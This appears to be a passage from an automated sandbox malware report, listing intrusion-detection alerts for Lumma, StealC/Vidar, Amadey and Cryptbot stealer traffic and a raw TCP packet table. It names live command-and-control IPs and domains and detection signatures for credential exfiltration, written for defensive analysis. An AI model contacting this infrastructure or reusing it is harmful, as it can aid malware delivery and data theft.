2024-12-19T16:10:49.926094+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49960	31.41.244.11	80	TCP
2024-12-19T16:10:50.986642+0100	2058402	ET MALWARE Observed StealC/Vidar Stealer Domain (hulkpara .xyz in TLS SNI)	1	192.168.2.6	49966	94.130.191.168	443	TCP
2024-12-19T16:10:55.105611+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49984	172.67.177.88	443	TCP
2024-12-19T16:10:55.778917+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	49984	172.67.177.88	443	TCP
2024-12-19T16:10:55.778917+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49984	172.67.177.88	443	TCP
2024-12-19T16:10:57.093704+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49991	172.67.177.88	443	TCP
2024-12-19T16:10:58.148107+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	49991	172.67.177.88	443	TCP
2024-12-19T16:10:58.148107+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49991	172.67.177.88	443	TCP
2024-12-19T16:10:59.195335+0100	2058402	ET MALWARE Observed StealC/Vidar Stealer Domain (hulkpara .xyz in TLS SNI)	1	192.168.2.6	50000	94.130.191.168	443	TCP
2024-12-19T16:11:00.512886+0100	2058402	ET MALWARE Observed StealC/Vidar Stealer Domain (hulkpara .xyz in TLS SNI)	1	192.168.2.6	50005	94.130.191.168	443	TCP
2024-12-19T16:11:00.685589+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50008	172.67.177.88	443	TCP
2024-12-19T16:11:00.860468+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	50007	185.215.113.43	80	TCP
2024-12-19T16:11:02.386220+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50015	31.41.244.11	80	TCP
2024-12-19T16:11:02.407812+0100	2058402	ET MALWARE Observed StealC/Vidar Stealer Domain (hulkpara .xyz in TLS SNI)	1	192.168.2.6	50016	94.130.191.168	443	TCP
2024-12-19T16:11:03.039554+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50020	172.67.177.88	443	TCP
2024-12-19T16:11:03.898179+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.6	50020	172.67.177.88	443	TCP
2024-12-19T16:11:04.501423+0100	2058402	ET MALWARE Observed StealC/Vidar Stealer Domain (hulkpara .xyz in TLS SNI)	1	192.168.2.6	50023	94.130.191.168	443	TCP
2024-12-19T16:11:05.491447+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50029	172.67.177.88	443	TCP
2024-12-19T16:11:05.532851+0100	2058402	ET MALWARE Observed StealC/Vidar Stealer Domain (hulkpara .xyz in TLS SNI)	1	192.168.2.6	50028	94.130.191.168	443	TCP
2024-12-19T16:11:14.078178+0100	2058402	ET MALWARE Observed StealC/Vidar Stealer Domain (hulkpara .xyz in TLS SNI)	1	192.168.2.6	50070	94.130.191.168	443	TCP
2024-12-19T16:11:14.761217+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	50073	185.215.113.43	80	TCP
2024-12-19T16:11:16.362613+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50091	31.41.244.11	80	TCP
2024-12-19T16:11:16.692863+0100	2058402	ET MALWARE Observed StealC/Vidar Stealer Domain (hulkpara .xyz in TLS SNI)	1	192.168.2.6	50096	94.130.191.168	443	TCP
2024-12-19T16:11:17.761312+0100	2058402	ET MALWARE Observed StealC/Vidar Stealer Domain (hulkpara .xyz in TLS SNI)	1	192.168.2.6	50097	94.130.191.168	443	TCP
2024-12-19T16:11:19.266349+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50103	172.67.177.88	443	TCP
2024-12-19T16:11:20.778530+0100	2058402	ET MALWARE Observed StealC/Vidar Stealer Domain (hulkpara .xyz in TLS SNI)	1	192.168.2.6	50108	94.130.191.168	443	TCP
2024-12-19T16:11:22.108110+0100	2058402	ET MALWARE Observed StealC/Vidar Stealer Domain (hulkpara .xyz in TLS SNI)	1	192.168.2.6	50115	94.130.191.168	443	TCP
2024-12-19T16:11:22.770314+0100	2856121	ETPRO MALWARE Amadey CnC Activity M2	1	192.168.2.6	50116	185.215.113.43	80	TCP
2024-12-19T16:11:23.344982+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50122	172.67.177.88	443	TCP
2024-12-19T16:11:23.360710+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.6	50122	172.67.177.88	443	TCP
2024-12-19T16:11:24.296261+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50129	31.41.244.11	80	TCP
2024-12-19T16:11:25.642957+0100	2058402	ET MALWARE Observed StealC/Vidar Stealer Domain (hulkpara .xyz in TLS SNI)	1	192.168.2.6	50140	94.130.191.168	443	TCP
2024-12-19T16:11:26.357592+0100	2058402	ET MALWARE Observed StealC/Vidar Stealer Domain (hulkpara .xyz in TLS SNI)	1	192.168.2.6	50141	94.130.191.168	443	TCP
2024-12-19T16:11:27.133288+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50145	172.67.177.88	443	TCP
2024-12-19T16:11:28.521646+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	50145	172.67.177.88	443	TCP
2024-12-19T16:11:29.727238+0100	2058402	ET MALWARE Observed StealC/Vidar Stealer Domain (hulkpara .xyz in TLS SNI)	1	192.168.2.6	50152	94.130.191.168	443	TCP
2024-12-19T16:11:29.774464+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	50153	185.215.113.43	80	TCP
2024-12-19T16:11:36.705818+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.6	50162	176.53.146.212	80	TCP
2024-12-19T16:11:38.866657+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.6	50164	176.53.146.212	80	TCP
2024-12-19T16:11:49.474008+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.6	50181	176.53.146.212	80	TCP
2024-12-19T16:12:02.739222+0100	2058354	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (aspecteirs .lat)	1	192.168.2.6	60393	1.1.1.1	53	UDP
2024-12-19T16:12:04.313746+0100	2058355	ET MALWARE Observed Win32/Lumma Stealer Related Domain (aspecteirs .lat in TLS SNI)	1	192.168.2.6	50183	188.114.96.6	443	TCP
2024-12-19T16:12:04.313746+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50183	188.114.96.6	443	TCP
2024-12-19T16:12:05.048973+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	50183	188.114.96.6	443	TCP
2024-12-19T16:12:05.048973+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	50183	188.114.96.6	443	TCP
2024-12-19T16:12:06.534115+0100	2058355	ET MALWARE Observed Win32/Lumma Stealer Related Domain (aspecteirs .lat in TLS SNI)	1	192.168.2.6	50184	188.114.96.6	443	TCP
2024-12-19T16:12:06.534115+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50184	188.114.96.6	443	TCP
2024-12-19T16:12:07.312636+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	50184	188.114.96.6	443	TCP
2024-12-19T16:12:07.312636+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	50184	188.114.96.6	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 19, 2024 16:09:16.571537971 CET	443	49712	20.198.119.84	192.168.2.6
Dec 19, 2024 16:09:16.620330095 CET	49712	443	192.168.2.6	20.198.119.84
Dec 19, 2024 16:09:17.864166021 CET	443	49713	20.198.118.190	192.168.2.6
Dec 19, 2024 16:09:17.864453077 CET	49713	443	192.168.2.6	20.198.118.190
Dec 19, 2024 16:09:17.869709015 CET	49713	443	192.168.2.6	20.198.118.190
Dec 19, 2024 16:09:17.869719982 CET	443	49713	20.198.118.190	192.168.2.6
Dec 19, 2024 16:09:17.870022058 CET	443	49713	20.198.118.190	192.168.2.6
Dec 19, 2024 16:09:17.917162895 CET	49713	443	192.168.2.6	20.198.118.190
Dec 19, 2024 16:09:17.928231001 CET	49713	443	192.168.2.6	20.198.118.190
Dec 19, 2024 16:09:17.928299904 CET	49713	443	192.168.2.6	20.198.118.190
Dec 19, 2024 16:09:17.928308010 CET	443	49713	20.198.118.190	192.168.2.6
Dec 19, 2024 16:09:17.928500891 CET	49713	443	192.168.2.6	20.198.118.190
Dec 19, 2024 16:09:17.971349955 CET	443	49713	20.198.118.190	192.168.2.6
Dec 19, 2024 16:09:18.471353054 CET	443	49713	20.198.118.190	192.168.2.6
Dec 19, 2024 16:09:18.471509933 CET	443	49713	20.198.118.190	192.168.2.6
Dec 19, 2024 16:09:18.471596956 CET	49713	443	192.168.2.6	20.198.118.190
Dec 19, 2024 16:09:18.471817017 CET	49713	443	192.168.2.6	20.198.118.190
Dec 19, 2024 16:09:18.471837997 CET	443	49713	20.198.118.190	192.168.2.6
Dec 19, 2024 16:09:18.682802916 CET	49673	443	192.168.2.6	173.222.162.64
Dec 19, 2024 16:09:18.684951067 CET	49674	443	192.168.2.6	173.222.162.64
Dec 19, 2024 16:09:19.010905027 CET	49672	443	192.168.2.6	173.222.162.64
Dec 19, 2024 16:09:22.263020992 CET	49725	443	192.168.2.6	20.198.118.190
Dec 19, 2024 16:09:22.263056993 CET	443	49725	20.198.118.190	192.168.2.6
Dec 19, 2024 16:09:22.263119936 CET	49725	443	192.168.2.6	20.198.118.190
Dec 19, 2024 16:09:22.264044046 CET	49725	443	192.168.2.6	20.198.118.190
Dec 19, 2024 16:09:22.264060020 CET	443	49725	20.198.118.190	192.168.2.6
Dec 19, 2024 16:09:24.507914066 CET	443	49725	20.198.118.190	192.168.2.6
Dec 19, 2024 16:09:24.508013964 CET	49725	443	192.168.2.6	20.198.118.190
Dec 19, 2024 16:09:24.512061119 CET	49725	443	192.168.2.6	20.198.118.190
Dec 19, 2024 16:09:24.512088060 CET	443	49725	20.198.118.190	192.168.2.6
Dec 19, 2024 16:09:24.512913942 CET	443	49725	20.198.118.190	192.168.2.6
Dec 19, 2024 16:09:24.515093088 CET	49725	443	192.168.2.6	20.198.118.190
Dec 19, 2024 16:09:24.515163898 CET	49725	443	192.168.2.6	20.198.118.190
Dec 19, 2024 16:09:24.515178919 CET	443	49725	20.198.118.190	192.168.2.6
Dec 19, 2024 16:09:24.515343904 CET	49725	443	192.168.2.6	20.198.118.190
Dec 19, 2024 16:09:24.559355021 CET	443	49725	20.198.118.190	192.168.2.6
Dec 19, 2024 16:09:25.177150011 CET	443	49725	20.198.118.190	192.168.2.6
Dec 19, 2024 16:09:25.177299976 CET	443	49725	20.198.118.190	192.168.2.6
Dec 19, 2024 16:09:25.177390099 CET	49725	443	192.168.2.6	20.198.118.190
Dec 19, 2024 16:09:25.177532911 CET	49725	443	192.168.2.6	20.198.118.190
Dec 19, 2024 16:09:25.177558899 CET	443	49725	20.198.118.190	192.168.2.6
Dec 19, 2024 16:09:28.292076111 CET	49674	443	192.168.2.6	173.222.162.64
Dec 19, 2024 16:09:28.300518990 CET	49673	443	192.168.2.6	173.222.162.64
Dec 19, 2024 16:09:28.620208979 CET	49672	443	192.168.2.6	173.222.162.64
Dec 19, 2024 16:09:31.097017050 CET	443	49708	173.222.162.64	192.168.2.6
Dec 19, 2024 16:09:31.097116947 CET	49708	443	192.168.2.6	173.222.162.64
Dec 19, 2024 16:09:38.222768068 CET	49762	443	192.168.2.6	20.198.118.190
Dec 19, 2024 16:09:38.222826004 CET	443	49762	20.198.118.190	192.168.2.6
Dec 19, 2024 16:09:38.222928047 CET	49762	443	192.168.2.6	20.198.118.190
Dec 19, 2024 16:09:38.223675966 CET	49762	443	192.168.2.6	20.198.118.190
Dec 19, 2024 16:09:38.223694086 CET	443	49762	20.198.118.190	192.168.2.6
Dec 19, 2024 16:09:40.451934099 CET	443	49762	20.198.118.190	192.168.2.6
Dec 19, 2024 16:09:40.452024937 CET	49762	443	192.168.2.6	20.198.118.190
Dec 19, 2024 16:09:40.482271910 CET	49762	443	192.168.2.6	20.198.118.190
Dec 19, 2024 16:09:40.482301950 CET	443	49762	20.198.118.190	192.168.2.6
Dec 19, 2024 16:09:40.482625961 CET	443	49762	20.198.118.190	192.168.2.6
Dec 19, 2024 16:09:40.526418924 CET	49762	443	192.168.2.6	20.198.118.190
Dec 19, 2024 16:09:40.546211004 CET	49762	443	192.168.2.6	20.198.118.190
Dec 19, 2024 16:09:40.546401978 CET	49762	443	192.168.2.6	20.198.118.190
Dec 19, 2024 16:09:40.546413898 CET	443	49762	20.198.118.190	192.168.2.6
Dec 19, 2024 16:09:40.546603918 CET	49762	443	192.168.2.6	20.198.118.190
Dec 19, 2024 16:09:40.591329098 CET	443	49762	20.198.118.190	192.168.2.6
Dec 19, 2024 16:09:41.210143089 CET	443	49762	20.198.118.190	192.168.2.6
Dec 19, 2024 16:09:41.210565090 CET	49762	443	192.168.2.6	20.198.118.190
Dec 19, 2024 16:09:41.210592985 CET	443	49762	20.198.118.190	192.168.2.6
Dec 19, 2024 16:09:41.210604906 CET	49762	443	192.168.2.6	20.198.118.190
Dec 19, 2024 16:09:41.210642099 CET	443	49762	20.198.118.190	192.168.2.6
Dec 19, 2024 16:09:41.210647106 CET	49762	443	192.168.2.6	20.198.118.190
Dec 19, 2024 16:09:59.596273899 CET	49814	443	192.168.2.6	20.198.118.190
Dec 19, 2024 16:09:59.596329927 CET	443	49814	20.198.118.190	192.168.2.6
Dec 19, 2024 16:09:59.596441984 CET	49814	443	192.168.2.6	20.198.118.190
Dec 19, 2024 16:09:59.597163916 CET	49814	443	192.168.2.6	20.198.118.190
Dec 19, 2024 16:09:59.597186089 CET	443	49814	20.198.118.190	192.168.2.6
Dec 19, 2024 16:10:01.859164000 CET	443	49814	20.198.118.190	192.168.2.6
Dec 19, 2024 16:10:01.859250069 CET	49814	443	192.168.2.6	20.198.118.190
Dec 19, 2024 16:10:01.864342928 CET	49814	443	192.168.2.6	20.198.118.190
Dec 19, 2024 16:10:01.864358902 CET	443	49814	20.198.118.190	192.168.2.6
Dec 19, 2024 16:10:01.864722967 CET	443	49814	20.198.118.190	192.168.2.6
Dec 19, 2024 16:10:01.866436005 CET	49814	443	192.168.2.6	20.198.118.190
Dec 19, 2024 16:10:01.866514921 CET	49814	443	192.168.2.6	20.198.118.190
Dec 19, 2024 16:10:01.866519928 CET	443	49814	20.198.118.190	192.168.2.6
Dec 19, 2024 16:10:01.866682053 CET	49814	443	192.168.2.6	20.198.118.190
Dec 19, 2024 16:10:01.911324024 CET	443	49814	20.198.118.190	192.168.2.6
Dec 19, 2024 16:10:02.530637026 CET	443	49814	20.198.118.190	192.168.2.6
Dec 19, 2024 16:10:02.530776978 CET	443	49814	20.198.118.190	192.168.2.6
Dec 19, 2024 16:10:02.531162977 CET	49814	443	192.168.2.6	20.198.118.190
Dec 19, 2024 16:10:02.531203032 CET	443	49814	20.198.118.190	192.168.2.6
Dec 19, 2024 16:10:02.531212091 CET	49814	443	192.168.2.6	20.198.118.190
Dec 19, 2024 16:10:06.644542933 CET	49832	80	192.168.2.6	185.215.113.43
Dec 19, 2024 16:10:06.764787912 CET	80	49832	185.215.113.43	192.168.2.6
Dec 19, 2024 16:10:06.764889002 CET	49832	80	192.168.2.6	185.215.113.43
Dec 19, 2024 16:10:06.765789032 CET	49832	80	192.168.2.6	185.215.113.43
Dec 19, 2024 16:10:06.885376930 CET	80	49832	185.215.113.43	192.168.2.6
Dec 19, 2024 16:10:08.108326912 CET	80	49832	185.215.113.43	192.168.2.6
Dec 19, 2024 16:10:08.108534098 CET	49832	80	192.168.2.6	185.215.113.43
Dec 19, 2024 16:10:09.722299099 CET	49832	80	192.168.2.6	185.215.113.43
Dec 19, 2024 16:10:09.722758055 CET	49838	80	192.168.2.6	185.215.113.43
Dec 19, 2024 16:10:09.843195915 CET	80	49838	185.215.113.43	192.168.2.6
Dec 19, 2024 16:10:09.843297005 CET	49838	80	192.168.2.6	185.215.113.43
Dec 19, 2024 16:10:09.843482971 CET	80	49832	185.215.113.43	192.168.2.6
Dec 19, 2024 16:10:09.843540907 CET	49832	80	192.168.2.6	185.215.113.43
Dec 19, 2024 16:10:09.847774029 CET	49838	80	192.168.2.6	185.215.113.43
Dec 19, 2024 16:10:09.967550993 CET	80	49838	185.215.113.43	192.168.2.6
Dec 19, 2024 16:10:11.229331970 CET	80	49838	185.215.113.43	192.168.2.6
Dec 19, 2024 16:10:11.229367018 CET	80	49838	185.215.113.43	192.168.2.6
Dec 19, 2024 16:10:11.229931116 CET	49838	80	192.168.2.6	185.215.113.43
Dec 19, 2024 16:10:11.466522932 CET	80	49838	185.215.113.43	192.168.2.6
Dec 19, 2024 16:10:11.466629028 CET	49838	80	192.168.2.6	185.215.113.43
Dec 19, 2024 16:10:11.470330000 CET	49844	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:11.590235949 CET	80	49844	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:11.590358973 CET	49844	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:11.590512991 CET	49844	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:11.710797071 CET	80	49844	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:12.919230938 CET	80	49844	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:12.919250011 CET	80	49844	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:12.919270039 CET	80	49844	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:12.919284105 CET	80	49844	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:12.919287920 CET	49844	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:12.919296026 CET	80	49844	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:12.919308901 CET	80	49844	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:12.919322014 CET	49844	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:12.919322014 CET	49844	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:12.919365883 CET	49844	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:12.919394970 CET	80	49844	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:12.919439077 CET	49844	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:12.919445038 CET	80	49844	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:12.919459105 CET	80	49844	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:12.919472933 CET	80	49844	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:12.919483900 CET	49844	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:12.919504881 CET	49844	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:12.919517040 CET	49844	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:13.039027929 CET	80	49844	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:13.039089918 CET	80	49844	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:13.039098024 CET	49844	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:13.039139032 CET	49844	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:13.043183088 CET	80	49844	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:13.043257952 CET	49844	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:13.043281078 CET	80	49844	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:13.043322086 CET	49844	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:13.116257906 CET	80	49844	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:13.116343975 CET	80	49844	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:13.116427898 CET	49844	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:13.120420933 CET	80	49844	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:13.120482922 CET	49844	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:13.120512962 CET	80	49844	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:13.120615005 CET	49844	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:13.128855944 CET	80	49844	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:13.128930092 CET	49844	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:13.128943920 CET	80	49844	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:13.128993988 CET	49844	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:13.137326956 CET	80	49844	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:13.137386084 CET	49844	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:15.293320894 CET	49838	80	192.168.2.6	185.215.113.43
Dec 19, 2024 16:10:15.293602943 CET	49855	80	192.168.2.6	185.215.113.43
Dec 19, 2024 16:10:15.414035082 CET	80	49855	185.215.113.43	192.168.2.6
Dec 19, 2024 16:10:15.414103985 CET	49855	80	192.168.2.6	185.215.113.43
Dec 19, 2024 16:10:15.414309025 CET	49855	80	192.168.2.6	185.215.113.43
Dec 19, 2024 16:10:15.414525032 CET	80	49838	185.215.113.43	192.168.2.6
Dec 19, 2024 16:10:15.414582014 CET	49838	80	192.168.2.6	185.215.113.43
Dec 19, 2024 16:10:15.534219027 CET	80	49855	185.215.113.43	192.168.2.6
Dec 19, 2024 16:10:16.762061119 CET	80	49855	185.215.113.43	192.168.2.6
Dec 19, 2024 16:10:16.762155056 CET	49855	80	192.168.2.6	185.215.113.43
Dec 19, 2024 16:10:16.763240099 CET	49844	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:16.763854027 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:16.883781910 CET	80	49844	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:16.883797884 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:16.883848906 CET	49844	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:16.883898973 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:16.884190083 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:17.003710985 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.251250982 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.251374960 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.251427889 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.251466036 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.251466036 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.251502991 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.251519918 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.251530886 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.251540899 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.251599073 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.251642942 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.251672029 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.251708031 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.251739025 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.251759052 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.251822948 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.371279001 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.371296883 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.371336937 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.371376038 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.375431061 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.375479937 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.375507116 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.375544071 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.443084955 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.443109035 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.443171978 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.445636988 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.445700884 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.445976973 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.446851015 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.454173088 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.454197884 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.454236984 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.454278946 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.462515116 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.462534904 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.462574959 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.462610006 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.470856905 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.470901012 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.470932007 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.470973015 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.479439974 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.479461908 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.479588985 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.487659931 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.487755060 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.487896919 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.488008976 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.496134043 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.496268034 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.496311903 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.496537924 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.504446983 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.504945040 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.505192995 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.505325079 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.512774944 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.512990952 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.513012886 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.513117075 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.522465944 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.522573948 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.522659063 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.522718906 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.528964996 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.529191971 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.529258966 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.529314995 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.563122988 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.563332081 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.635334015 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.635490894 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:18.635616064 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:18.637523890 CET	80	49857	31.41.244.11	192.168.2.6
